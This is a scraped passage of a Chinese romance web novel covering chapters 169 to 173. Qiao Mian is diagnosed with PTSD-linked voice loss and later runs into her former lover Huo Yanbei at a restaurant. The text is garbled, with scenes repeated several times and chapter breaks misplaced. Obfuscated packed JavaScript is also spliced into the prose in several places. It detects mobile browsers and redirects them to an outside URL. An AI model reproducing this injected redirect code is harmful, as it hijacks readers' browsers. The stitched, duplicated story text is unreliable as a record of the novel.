周津南看到她时,着实一愣。 “乔安,怎么是你……” 周津南长相斯文清俊,穿着白大褂,干净清爽。 眉眼柔和,很有亲和力。 乔眠跟他相处,从不会有压力。 “周医生,还是叫我乔眠吧。” “抱歉,乔安这个名字,叫习惯了……” 乔眠没作声。 和霍宴北回到霍家以前,她叫乔安。 已经很久,没人叫她这个名字了。 周津南起身,倒了一杯水放在她面前:“老同学,三年没见,你一点儿都没变。” 还像高中时那样好看。 只是,高二时,经历了那件事后,她就开始发胖了…… “你也没有变。” 乔眠应了一句。 周津南敛去思绪,问:“你什么时候回京市的?” “搬回京市三个多月了。” 他有些意外,温润的眸底划过一抹幽微的亮色:“怎么也不说一下,我去看看你和孩子们。” 乔眠莞尔,“现在亲自来告诉你了。” 周津南接过她手里的挂号单:“你今天找我,可不是叙旧的吧?是不是给你开的药吃完了?” 乔眠摇头:“周津南,我可能病得更严重了。” 当年,她生完孩子,因为长期焦虑不安,身体也不好,患有重度抑郁症。 这些年,一直从周津南这里拿抗抑郁症的药。 三年前,他回了京市,她还在海城,他就把药邮寄给她。 “上次打电话时,你还问我需不需要停药,怎么还严重了?” 周津南问话时,眼睛一直在观察乔眠。 虽然她表情和说话时的语气都很平静,但是,搁在桌子上的一双小手,紧紧绞在一起。 指甲都把虎口抠出红印了。 说明她内心很焦虑。 周津南起身走到窗口,将窗纱拉上。 诊室的光线黯淡下来。 他又放了一首舒缓解压的轻音乐。 他没有再问她任何问题。 乔眠心神放松下来后,主动开口,把每次遇到霍宴北就失声的问题说了。 周津南听后,没有立即给出诊断。 开了检查单,让她先去检查。 拿到检查结果,又给她做了一次心理测试后,周津南神色凝重的给出诊断:“乔……眠,你的喉部和声带没有器质性病变,你生理性失声,是因为患了PTSD。” “PTSD是什么……” “就是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他还想再问清楚,发现消息已经发不过去了。 他被拉黑了…… 霍宴北泛白的薄唇,微微抽搐了一下。 乔眠。 真是个奇怪的女人。 当他再一次点开微信,看到好友申请也被拒绝时,整张脸直接黑了。 意识到自己遭嫌弃了,他当即就要拨通她的手机时,看时间已经九点半了。 她说自己有丈夫。 这个点,打电话过去……不合适。 罢了。 她又不是阿妩。 何必在意。 他收起手机,吩咐陈珂:“把护工费给她结算了。” “是。” 陈珂明白,二爷这意思是,以后不会跟这个小护工有牵扯了。 只是,隔天下午,霍宴北收到一个快递。 打开看到是他的手帕时,晦暗的冷眸闪过一抹异样的兴味。 乔眠。 很奇怪。 也很有意思。 …… 这周五。 乔眠去了圣德医院。 见了她的高中同学,周津南。 两人在学校关系还算融洽的原因是,一个沉默,一个寡言。 他家,和她曾经养父母家都住在职工回迁楼里。 严格来说,两人算是发小。 他是厂办主任的儿子。 从小生活优渥。 小学和初中,上的都是那片最好的学校。 乔眠若不是考上京市的重点高中,也没有机会跟他在一个学校。 高中毕业后,她上了京大。 他考上了海城的医科大学。 那几年,两人很少联系。 只是,他每一年都会戳她的QQ,问她去不去参加高中同学聚会。 每次,她都只回两个字:不去。 大学四年,两人只见过一面。 那次,他去学校找她。 她胖的他都认不出她了。 她请他在京大食堂吃了一碗米线。 他说,以后会经常来学校看她。 只是,后来,不知道为什么,再也没来找过她。 不过,她不在意。 从小,她就没有朋友。 她的世界一直都是孤独的。 和霍宴北在一起,更是一步步堕入地狱。 和周津南再次见面,是在海城。 那时,她刚生完孩子没多久…… 他在海城医院实习。 那次,她挂的是心理科。 后来,就一直保持着联络。 三年前,他家里催婚,所以,先回了京市。 她今天来,没有事先联系他。 按流程挂了他的号。 心理专家科,二号诊室。 “您好,乔女士,周医生诊室还有一位病患,请您稍等一下。” 护士温声提醒。 圣德医院是一家私立医院,对病患一对一服务。 除了贵,没毛病。 “谢谢。” 约模等了半个多小时,病患出来后,乔眠拿着挂号单走进诊室。 周津南看到她时,着实一愣。 “乔安,怎么是你……” 周津南长相斯文清俊,穿着白大褂,干净清爽。 眉眼柔和,很有亲和力。 乔眠跟他相处,从不会有压力。 “周医生,还是叫我乔眠吧。” “抱歉,乔安这个名字,叫习惯了……” 乔眠没作声。 和霍宴北回到霍家以前,她叫乔安。 已经很久,没人叫她这个名字了。 周津南起身,倒了一杯水放在她面前:“老同学,三年没见,你一点儿都没变。” 还像高中时那样好看。 只是,高二时,经历了那件事后,她就开始发胖了…… “你也没有变。” 乔眠应了一句。 周津南敛去思绪,问:“你什么时候回京市的?” “搬回京市三个多月了。” 他有些意外,温润的眸底划过一抹幽微的亮色:“怎么也不说一下,我去看看你和孩子们。” 乔眠莞尔,“现在亲自来告诉你了。” 周津南接过她手里的挂号单:“你今天找我,可不是叙旧的吧?是不是给你开的药吃完了?” 乔眠摇头:“周津南,我可能病得更严重了。” 当年,她生完孩子,因为长期焦虑不安,身体也不好,患有重度抑郁症。 这些年,一直从周津南这里拿抗抑郁症的药。 三年前,他回了京市,她还在海城,他就把药邮寄给她。 “上次打电话时,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17148765|195743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还问我需不需要停药,怎么还严重了?” 周津南问话时,眼睛一直在观察乔眠。 虽然她表情和说话时的语气都很平静,但是,搁在桌子上的一双小手,紧紧绞在一起。 指甲都把虎口抠出红印了。 说明她内心很焦虑。 周津南起身走到窗口,将窗纱拉上。 诊室的光线黯淡下来。 他又放了一首舒缓解压的轻音乐。 他没有再问她任何问题。 乔眠心神放松下来后,主动开口,把每次遇到霍宴北就失声的问题说了。 周津南听后,没有立即给出诊断。 开了检查单,让她先去检查。 拿到检查结果,又给她做了一次心理测试后,周津南神色凝重的给出诊断:“乔……眠,你的喉部和声带没有器质性病变,你生理性失声,是因为患了PTSD。” “PTSD是什么……” “就是心理和精神遭受过严重创伤或是经历重大事故后,表现出过度紧张和恐惧的焦虑情绪,俗称,创伤性应激障碍。” “……” 听到这个诊断,乔眠脸色微微泛白:“我之前只是抑郁症,这些年,我的日子平平淡淡,并没有经历过创伤事件。” 周津南轻声道:“六年前,你因为霍宴北遭受情伤,又在一场大火中死里逃生,一个人艰难产子,这些创伤和变故,造成了你长达六年的精神抑郁。” “如今,你再见到他这个人,心理和精神一直处于紧张、恐惧的状态中,病情反而加重了,说明霍宴北就是你患上PTSD的病灶根源。” 周津南解释的很明白。 乔眠也听明白了。 的确。 这些年,她从不敢想起和霍宴北之间曾经发生过的种种。 那些回忆,像是一味**,每回忆一次,就发作一次。 焚心蚀骨的痛。 她回避、压抑了六年。 再次见到霍宴北,好像那些早已渗入骨髓血液里的**,顷刻间就毒发了。 六年前,霍宴北是她戒不掉一味毒。 上瘾。 却也致命。 乔眠垂着颤动的羽睫,失神地喃喃出声:“所以,我失声,是因为,见到了霍宴北……” 第169章 她留着他的照片 周津南:“是的,霍宴北就是造成你心理创伤的源头。” 垂落下来的双手一点点蜷缩成拳头。 乔眠平静的嗓音里,带着一丝极致隐忍下的颤抖:“能治愈吗?” 周津南看着她鬓发沁着一层薄细的濡湿,把她面前那杯水端起来,放进她手里。 乔眠眼神晃动一下,就像渴了很久的一只小猫,动作有些急促,咕咚咕咚一口气喝完了。 周津南看着她此刻这个样子,不禁想起高中时的她…… 那时候,他不明白,她为什么总是拼命吃东西。 后来,他学了心理学后,才明白,高中那件事后,她就已经留下心理疾病了…… “你现在偶尔还会暴饮暴食吗?” 周津南问。 乔眠蹙眉。 有些抗拒这个问题。 顿了两秒,回道:“很少。” 周津南嗯了一声。 想想也是。 她现在已经瘦成这样了。 他将话题回到她的病情上:“除了在霍宴北面前失声,还有没有在其他情景下,出现过这种症状?” 乔眠摇头:“只有在他面前会失声……” “如果是这样的话……” 周津南转了一下指间的钢笔,轻挑眉宇:“远离病灶,是治愈你最好的良药。” “……” 乔眠哑然。 她的病灶,是霍宴北。 周津南敲击着键盘开药,一直没听到她回应,轻笑着抬眸看了她一眼:“当然,如果你想治愈PTSD的话,目前有心理疗法和……” 乔眠轻声打断,“周医生,不花钱就能治愈的病,挺好的,不是吗?” 说完,她起身,冲周津南弯了弯唇,“不必开药了。” 远离霍宴北,她就能回到以前平静的日子,也不会再变成一个小哑巴。 她得了一种远离霍宴北就能安好的病。 挺好。 如果时间可以倒流,她宁愿早点得这种病——远离霍宴北。 从诊室出来,乔眠走到电梯口等电梯。 周津南走了过来。 此时,他已经褪去了白大褂。 穿着一件polo衬衫领白色毛衣,黑色长裤,外面罩着一件深灰色毛呢大衣。 气质清隽又干净。 “老同学,这么久没见面了,一起吃个饭吧?” 周津南看着她,眉眼温润地笑。 “我……” 乔眠本能想拒绝。 但是,想到在海城,他帮过她。 拒绝,显得太没有人情味了。 她点头:“好。” 周津南:“想吃什么?” “你来定吧。” “西餐怎么样?” “可以。” 周津南看着她一板一眼的样子,有些怜悯。 他认识的乔安,曾经会鲜活的笑。 也有脾气和傲骨的。 可现在,她才二十六岁,却像是饱经沧桑后的一个孤勇者。 她表现出来的从容淡静,是克制隐忍之下筑起的一层保护壳。 …… 花园西餐厅。 周津南和乔眠正在用餐。 顾淮年从二楼楼梯拐角下来。 捕捉到一抹熟悉的女人身影时,顿住了脚步。 他又往下走了几个台阶,仔细一瞧。 眉头不由地扬了扬。 这不是那个小护工吗? 和一个男人有说有笑的。 他转身,准备回去跟那位尊神八卦一下时,霍宴北不知什么时候已经走到了他身旁。 清冷的目光定定的望着不远处坐在靠窗位置的乔眠。 和一个……男人。 她今天化了妆,绾了个低马尾。 米色紧身高领毛衣,包裹着细柔的腰,丰盈的胸。 额角鬓边细柔的胎毛刘海慵懒微卷,侧颜柔美,有一种伦敦玫瑰的风情美。 对面的男人,不知道说了什么,她嫣然浅笑,眼睛弯弯的。 很是恬静温婉。 顾淮年咂嘴:“这小护工看起来不像有钱的样子,居然跟男人来这种高档餐厅,还聊的这么热乎,该不是她傍上的有钱富二代?” 霍宴北盯着女人柔软的笑颜,幽暗深邃的眼眸里,好像感情已被冰封,只剩下冷漠与审视。 “不是。” 她结婚了…… 至于这个男人是…… 他眼眸微凛,抬步走过去。 乔眠在感受到一道灼热的视线落于身上时,神经敏感的转眸看过去。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17152891|195743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' r>正好与霍宴北漆黑深邃的冷眸撞上。 哐啷一声。 手中端着的一杯咖啡,从微微颤抖的指间滑落在桌面上。 深褐色液体,沿着桌面,洒在腿上。 下意识的惊惧和慌乱,让她连躲避的动作都没有。 “怎么了?” 周津南见状,急忙从口袋拿出手帕,递给她:“擦擦吧。” “呃……” 乔眠回过神来,接过手帕,低头擦拭着被染了颜色的裤子。 周津南这才注意到身侧站着一个人。 看清楚来人是谁时,脸色微微一变。 周津南匆匆瞥了一眼乔眠,想装不认识的,但是,霍宴北已经念出他的名字:“周津南。” 周津南薄唇轻扯:“这么多年过去了,没想到霍先生还记得我这个无名小卒,真是荣幸。” 乔眠听到两人对话,抬起头来,目光在两人之间转换。 记忆中,这俩人没有任何交集,什么时候认识的? 霍宴北垂眸,目光落在乔眠白净漂亮的脸上,问周津南:“周先生和她认识很久了?” “……” 乔眠瞳孔微震。 裤缝在指间攥出折痕。 她慌忙错开男人的盯视,看了一眼周津南。 周津南心领神会,起身道:“乔眠是我的朋友,霍先生也认识她?” 霍宴北深深地盯着周津南数秒后,再次看向乔眠,“你说呢?” 乔眠张了张嘴,想说话,却说不出来。 她再次失声了。 “听不到,还是听不懂?” 霍宴北说出这句话的同时,戏谑地眼神盯着乔眠,用手语翻译了一遍。 乔眠呼吸一滞。 慌忙起身,看向周津南。 周津南走到她身边,看向霍宴北,“霍先生,抱歉,我和朋友还有事,就先走了。” 说完,绕过霍宴北准备走时,霍宴北将身上的西装外套脱了下来,罩在乔眠身上,淡声道,“遮一下。” 外套还残留着专属于男人的体温,还有那股淡淡的草木香。 熟悉到骨子里的气息,让她心神恍惚。 不禁想起那些无数个沉溺在这种熟悉的气息中,耳鬓厮磨的夜里。 第170章 车祸事故 她今天来,没有事先联系他。 按流程挂了他的号。 心理专家科,二号诊室。 “您好,乔女士,周医生诊室还有一位病患,请您稍等一下。” 护士温声提醒。 圣德医院是一家私立医院,对病患一对一服务。 除了贵,没毛病。 “谢谢。” 约模等了半个多小时,病患出来后,乔眠拿着挂号单走进诊室。 周津南看到她时,着实一愣。 “乔安,怎么是你……” 周津南长相斯文清俊,穿着白大褂,干净清爽。 眉眼柔和,很有亲和力。 乔眠跟他相处,从不会有压力。 “周医生,还是叫我乔眠吧。” “抱歉,乔安这个名字,叫习惯了……” 乔眠没作声。 和霍宴北回到霍家以前,她叫乔安。 已经很久,没人叫她这个名字了。 周津南起身,倒了一杯水放在她面前:“老同学,三年没见,你一点儿都没变。” 还像高中时那样好看。 只是,高二时,经历了那件事后,她就开始发胖了…… “你也没有变。” 乔眠应了一句。 周津南敛去思绪,问:“你什么时候回京市的?” “搬回京市三个多月了。” 他有些意外,温润的眸底划过一抹幽微的亮色:“怎么也不说一下,我去看看你和孩子们。” 乔眠莞尔,“现在亲自来告诉你了。” 周津南接过她手里的挂号单:“你今天找我,可不是叙旧的吧?是不是给你开的药吃完了?” 乔眠摇头:“周津南,我可能病得更严重了。” 当年,她生完孩子,因为长期焦虑不安,身体也不好,患有重度抑郁症。 这些年,一直从周津南这里拿抗抑郁症的药。 三年前,他回了京市,她还在海城,他就把药邮寄给她。 “上次打电话时,你还问我需不需要停药,怎么还严重了?” 周津南问话时,眼睛一直在观察乔眠。 虽然她表情和说话时的语气都很平静,但是,搁在桌子上的一双小手,紧紧绞在一起。 指甲都把虎口抠出红印了。 说明她内心很焦虑。 周津南起身走到窗口,将窗纱拉上。 诊室的光线黯淡下来。 他又放了一首舒缓解压的轻音乐。 他没有再问她任何问题。 乔眠心神放松下来后,主动开口,把每次遇到霍宴北就失声的问题说了。 周津南听后,没有立即给出诊断。 开了检查单,让她先去检查。 拿到检查结果,又给她做了一次心理测试后,周津南神色凝重的给出诊断:“乔……眠,你的喉部和声带没有器质性病变,你生理性失声,是因为患了PTSD。” “PTSD是什么……” “就是心理和精神遭受过严重创伤或是经历重大事故后,表现出过度紧张和恐惧的焦虑情绪,俗称,创伤性应激障碍。” “……” 听到这个诊断,乔眠脸色微微泛白:“我之前只是抑郁症,这些年,我的日子平平淡淡,并没有经历过创伤事件。” 周津南轻声道:“六年前,你因为霍宴北遭受情伤,又在一场大火中死里逃生,一个人艰难产子,这些创伤和变故,造成了你长达六年的精神抑郁。” “如今,你再见到他这个人,心理和精神一直处于紧张、恐惧的状态中,病情反而加重了,说明霍宴北就是你患上PTSD的病灶根源。” 周津南解释的很明白。 乔眠也听明白了。 的确。 这些年,她从不敢想起和霍宴北之间曾经发生过的种种。 那些回忆,像是一味**,每回忆一次,就发作一次。 焚心蚀骨的痛。 她回避、压抑了六年。 再次见到霍宴北,好像那些早已渗入骨髓血液里的**,顷刻间就毒发了。 六年前,霍宴北是她戒不掉一味毒。 上瘾。 却也致命。 乔眠垂着颤动的羽睫,失神地喃喃出声:“所以,我失声,是因为,见到了霍宴北……” 周津南:“是的,霍宴北就是造成你心理创伤的源头。” 垂落下来的双手一点点蜷缩成拳头。 乔眠平静的 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周津南敲击着键盘开药,一直没听到她回应,轻笑着抬眸看了她一眼:“当然,如果你想治愈PTSD的话,目前有心理疗法和……” 乔眠轻声打断,“周医生,不花钱就能治愈的病,挺好的,不是吗?” 说完,她起身,冲周津南弯了弯唇,“不必开药了。” 远离霍宴北,她就能回到以前平静的日子,也不会再变成一个小哑巴。 她得了一种远离霍宴北就能安好的病。 挺好。 如果时间可以倒流,她宁愿早点得这种病——远离霍宴北。 从诊室出来,乔眠走到电梯口等电梯。 周津南走了过来。 此时,他已经褪去了白大褂。 穿着一件polo衬衫领白色毛衣,黑色长裤,外面罩着一件深灰色毛呢大衣。 气质清隽又干净。 “老同学,这么久没见面了,一起吃个饭吧?” 第171章 靠在他怀里很安心 周津南看着她,眉眼温润地笑。 “我……” 乔眠本能想拒绝。 但是,想到在海城,他帮过她。 拒绝,显得太没有人情味了。 她点头:“好。” 周津南:“想吃什么?” “你来定吧。” “西餐怎么样?” “可以。” 周津南看着她一板一眼的样子,有些怜悯。 他认识的乔安,曾经会鲜活的笑。 也有脾气和傲骨的。 可现在,她才二十六岁,却像是饱经沧桑后的一个孤勇者。 她表现出来的从容淡静,是克制隐忍之下筑起的一层保护壳。 …… 花园西餐厅。 周津南和乔眠正在用餐。 顾淮年从二楼楼梯拐角下来。 捕捉到一抹熟悉的女人身影时,顿住了脚步。 他又往下走了几个台阶,仔细一瞧。 眉头不由地扬了扬。 这不是那个小护工吗? 和一个男人有说有笑的。 他转身,准备回去跟那位尊神八卦一下时,霍宴北不知什么时候已经走到了他身旁。 清冷的目光定定的望着不远处坐在靠窗位置的乔眠。 和一个……男人。 她今天化了妆,绾了个低马尾。 米色紧身高领毛衣,包裹着细柔的腰,丰盈的胸。 额角鬓边细柔的胎毛刘海慵懒微卷,侧颜柔美,有一种伦敦玫瑰的风情美。 对面的男人,不知道说了什么,她嫣然浅笑,眼睛弯弯的。 很是恬静温婉。 顾淮年咂嘴:“这小护工看起来不像有钱的样子,居然跟男人来这种高档餐厅,还聊的这么热乎,该不是她傍上的有钱富二代?” 霍宴北盯着女人柔软的笑颜,幽暗深邃的眼眸里,好像感情已被冰封,只剩下冷漠与审视。 “不是。” 她结婚了…… 至于这个男人是…… 他眼眸微凛,抬步走过去。 乔眠在感受到一道灼热的视线落于身上时,神经敏感的转眸看过去。 正好与霍宴北漆黑深邃的冷眸撞上。 哐啷一声。 手中端着的一杯咖啡,从微微颤抖的指间滑落在桌面上。 深褐色液体,沿着桌面,洒在腿上。 下意识的惊惧和慌乱,让她连躲避的动作都没有。 “怎么了?” 周津南见状,急忙从口袋拿出手帕,递给她:“擦擦吧。” “呃……” 乔眠回过神来,接过手帕,低头擦拭着被染了颜色的裤子。 周津南这才注意到身侧站着一个人。 看清楚来人是谁时,脸色微微一变。 周津南匆匆瞥了一眼乔眠,想装不认识的,但是,霍宴北已经念出他的名字:“周津南。” 周津南薄唇轻扯:“这么多年过去了,没想到霍先生还记得我这个无名小卒,真是荣幸。” 乔眠听到两人对话,抬起头来,目光在两人之间转换。 记忆中,这俩人没有任何交集,什么时候认识的? 霍宴北垂眸,目光落在乔眠白净漂亮的脸上,问周津南:“周先生和她认识很久了?” “……” 乔眠瞳孔微震。 裤缝在指间攥出折痕。 她慌忙错开男人的盯视,看了一眼周津南。 周津南心领神会,起身道:“乔眠是我的朋友,霍先生也认识她?” 霍宴北深深地盯着周津南数秒后,再次看向乔眠,“你说呢?” 乔眠张了张嘴,想说话,却说不出来。 她再次失声了。 “听不到,还是听不懂?” 霍宴北说出这句话的同时,戏谑地眼神盯着乔眠,用手语翻译了一遍。 乔眠呼吸一滞。 慌忙起身,看向周津南。 周津南走到她身边,看向霍宴北,“霍先生,抱歉,我和朋友还有事,就先走了。” 说完,绕过霍宴北准备走时,霍宴北将身上的西装外套脱了下来,罩在乔眠身上,淡声道,“遮一下。” 外套还残留着专属于男人的体温,还有那股淡淡的草木香。 熟悉到骨子里的气息,让她心神恍惚。 不禁想起那些无数个沉溺在这种熟悉的气息中,耳鬓厮磨的夜里。 她低着头,攥紧外套,逃一般走出了餐厅。 霍宴北望着消失在视线里的一对男女,胸腔里泛起一抹异样的情绪。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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远离他,她的心,才会得到治愈。 周津南提出要送她,她婉拒了。 不顺路。 就是给别人填麻烦。 第172章 乔眠是他的,孩子也是他的 周津南起身,倒了一杯水放在她面前:“老同学,三年没见,你一点儿都没变。” 还像高中时那样好看。 只是,高二时,经历了那件事后,她就开始发胖了…… “你也没有变。” 乔眠应了一句。 周津南敛去思绪,问:“你什么时候回京市的?” “搬回京市三个多月了。” 他有些意外,温润的眸底划过一抹幽微的亮色:“怎么也不说一下,我去看看你和孩子们。” 乔眠莞尔,“现在亲自来告诉你了。” 周津南接过她手里的挂号单:“你今天找我,可不是叙旧的吧?是不是给你开的药吃完了?” 乔眠摇头:“周津南,我可能病得更严重了。” 当年,她生完孩子,因为长期焦虑不安,身体也不好,患有重度抑郁症。 这些年,一直从周津南这里拿抗抑郁症的药。 三年前,他回了京市,她还在海城,他就把药邮寄给她。 “上次打电话时,你还问我需不需要停药,怎么还严重了?” 周津南问话时,眼睛一直在观察乔眠。 虽然她表情和说话时的语气都很平静,但是,搁在桌子上的一双小手,紧紧绞在一起。 指甲都把虎口抠出红印了。 说明她内心很焦虑。 周津南起身走到窗口,将窗纱拉上。 诊室的光线黯淡下来。 他又放了一首舒缓解压的轻音乐。 他没有再问她任何问题。 乔眠心神放松下来后,主动开口,把每次遇到霍宴北就失声的问题说了。 周津南听后,没有立即给出诊断。 开了检查单,让她先去检查。 拿到检查结果,又给她做了一次心理测试后,周津南神色凝重的给出诊断:“乔……眠,你的喉部和声带没有器质性病变,你生理性失声,是因为患了PTSD。” “PTSD是什么……” “就是心理和精神遭受过严重创伤或是经历重大事故后,表现出过度紧张和恐惧的焦虑情绪,俗称,创伤性应激障碍。” “……” 听到这个诊断,乔眠脸色微微泛白:“我之前只是抑郁症,这些年,我的日子平平淡淡,并没有经历过创伤事件。” 周津南轻声道:“六年前,你因为霍宴北遭受情伤,又在一场大火中死里逃生,一个人艰难产子,这些创伤和变故,造成了你长达六年的精神抑郁。” “如今,你再见到他这个人,心理和精神一直处于紧张、恐惧的状态中,病情反而加重了,说明霍宴北就是你患上PTSD的病灶根源。” 周津南解释的很明白。 乔眠也听明白了。 的确。 这些年,她从不敢想起和霍宴北之间曾经发生过的种种。 那些回忆,像是一味**,每回忆一次,就发作一次。 焚心蚀骨的痛。 她回避、压抑了六年。 再次见到霍宴北,好像那些早已渗入骨髓血液里的**,顷刻间就毒发了。 六年前,霍宴北是她戒不掉一味毒。 上瘾。 却也致命。 乔眠垂着颤动的羽睫,失神地喃喃出声:“所以,我失声,是因为,见到了霍宴北……” 周津南:“是的,霍宴北就是造成你心理创伤的源头。” 垂落下来的双手一点点蜷缩成拳头。 乔眠平静的嗓音里,带着一丝极致隐忍下的颤抖:“能治愈吗?” 周津南看着她鬓发沁着一层薄细的濡湿,把她面前那杯水端起来,放进她手里。 乔眠眼神晃动一下,就像渴了很久的一只小猫,动作有些急促,咕咚咕咚一口气喝完了。 周津南看着她此刻这个样子,不禁想起高中时的她…… 那时候,他不明白,她为什么总是拼命吃东西。 后来,他学了心理学后,才明白,高中那件事后,她就已经留下心理疾病了…… “你现在偶尔还会暴饮暴食吗?” 周津南问。 乔眠蹙眉。 有些抗拒这个问题。 顿了两秒,回道:“很少。” 周津南嗯了一声。 想想也是。 她现在已经瘦成这样了。 他将话题回到她的病情上:“除了在霍宴北面前失声,还有没有在其他情景下,出现过这种症状?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17168157|195743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' r>乔眠摇头:“只有在他面前会失声……” “如果是这样的话……” 周津南转了一下指间的钢笔,轻挑眉宇:“远离病灶,是治愈你最好的良药。” “……” 乔眠哑然。 她的病灶,是霍宴北。 周津南敲击着键盘开药,一直没听到她回应,轻笑着抬眸看了她一眼:“当然,如果你想治愈PTSD的话,目前有心理疗法和……” 乔眠轻声打断,“周医生,不花钱就能治愈的病,挺好的,不是吗?” 说完,她起身,冲周津南弯了弯唇,“不必开药了。” 远离霍宴北,她就能回到以前平静的日子,也不会再变成一个小哑巴。 她得了一种远离霍宴北就能安好的病。 挺好。 如果时间可以倒流,她宁愿早点得这种病——远离霍宴北。 从诊室出来,乔眠走到电梯口等电梯。 周津南走了过来。 此时,他已经褪去了白大褂。 穿着一件polo衬衫领白色毛衣,黑色长裤,外面罩着一件深灰色毛呢大衣。 气质清隽又干净。 “老同学,这么久没见面了,一起吃个饭吧?” 周津南看着她,眉眼温润地笑。 “我……” 乔眠本能想拒绝。 但是,想到在海城,他帮过她。 拒绝,显得太没有人情味了。 她点头:“好。” 周津南:“想吃什么?” “你来定吧。” “西餐怎么样?” “可以。” 周津南看着她一板一眼的样子,有些怜悯。 他认识的乔安,曾经会鲜活的笑。 也有脾气和傲骨的。 可现在,她才二十六岁,却像是饱经沧桑后的一个孤勇者。 她表现出来的从容淡静,是克制隐忍之下筑起的一层保护壳。 …… 花园西餐厅。 周津南和乔眠正在用餐。 顾淮年从二楼楼梯拐角下来。 捕捉到一抹熟悉的女人身影时,顿住了脚步。 他又往下走了几个台阶,仔细一瞧。 眉头不由地扬了扬。 第173章 她到底招惹了多少人 这不是那个小护工吗? 和一个男人有说有笑的。 他转身,准备回去跟那位尊神八卦一下时,霍宴北不知什么时候已经走到了他身旁。 清冷的目光定定的望着不远处坐在靠窗位置的乔眠。 和一个……男人。 她今天化了妆,绾了个低马尾。 米色紧身高领毛衣,包裹着细柔的腰,丰盈的胸。 额角鬓边细柔的胎毛刘海慵懒微卷,侧颜柔美,有一种伦敦玫瑰的风情美。 对面的男人,不知道说了什么,她嫣然浅笑,眼睛弯弯的。 很是恬静温婉。 顾淮年咂嘴:“这小护工看起来不像有钱的样子,居然跟男人来这种高档餐厅,还聊的这么热乎,该不是她傍上的有钱富二代?” 霍宴北盯着女人柔软的笑颜,幽暗深邃的眼眸里,好像感情已被冰封,只剩下冷漠与审视。 “不是。” 她结婚了…… 至于这个男人是…… 他眼眸微凛,抬步走过去。 乔眠在感受到一道灼热的视线落于身上时,神经敏感的转眸看过去。 正好与霍宴北漆黑深邃的冷眸撞上。 哐啷一声。 手中端着的一杯咖啡,从微微颤抖的指间滑落在桌面上。 深褐色液体,沿着桌面,洒在腿上。 下意识的惊惧和慌乱,让她连躲避的动作都没有。 “怎么了?” 周津南见状,急忙从口袋拿出手帕,递给她:“擦擦吧。” “呃……” 乔眠回过神来,接过手帕,低头擦拭着被染了颜色的裤子。 周津南这才注意到身侧站着一个人。 看清楚来人是谁时,脸色微微一变。 周津南匆匆瞥了一眼乔眠,想装不认识的,但是,霍宴北已经念出他的名字:“周津南。” 周津南薄唇轻扯:“这么多年过去了,没想到霍先生还记得我这个无名小卒,真是荣幸。” 乔眠听到两人对话,抬起头来,目光在两人之间转换。 记忆中,这俩人没有任何交集,什么时候认识的? 霍宴北垂眸,目光落在乔眠白净漂亮的脸上,问周津南:“周先生和她认识很久了?” “……” 乔眠瞳孔微震。 裤缝在指间攥出折痕。 她慌忙错开男人的盯视,看了一眼周津南。 周津南心领神会,起身道:“乔眠是我的朋友,霍先生也认识她?” 霍宴北深深地盯着周津南数秒后,再次看向乔眠,“你说呢?” 乔眠张了张嘴,想说话,却说不出来。 她再次失声了。 “听不到,还是听不懂?” 霍宴北说出这句话的同时,戏谑地眼神盯着乔眠,用手语翻译了一遍。 乔眠呼吸一滞。 慌忙起身,看向周津南。 周津南走到她身边,看向霍宴北,“霍先生,抱歉,我和朋友还有事,就先走了。” 说完,绕过霍宴北准备走时,霍宴北将身上的西装外套脱了下来,罩在乔眠身上,淡声道,“遮一下。” 外套还残留着专属于男人的体温,还有那股淡淡的草木香。 熟悉到骨子里的气息,让她心神恍惚。 不禁想起那些无数个沉溺在这种熟悉的气息中,耳鬓厮磨的夜里。 她低着头,攥紧外套,逃一般走出了餐厅。 霍宴北望着消失在视线里的一对男女,胸腔里泛起一抹异样的情绪。 让他有些不舒服的咳嗽了两声。 咳得肺腑生疼。 顾淮年扶住他:“你认识那个男人?” 霍宴北冷笑:“认识。” 今日场景,一如那年夏天,他买了生日礼物,去学校找霍妩。 却在食堂里,看到她跟一个男生坐在一起吃饭的情景。 那人便是周津南。 当时,他很生气,扔了生日礼物…… 只是—— 周津南当年认识霍妩,现在又跟他,同时认识乔眠。 这么巧吗? 而且,乔眠明明刚才还和周津南聊的热乎,见了他,又不说话了。 她是在故意回避他? 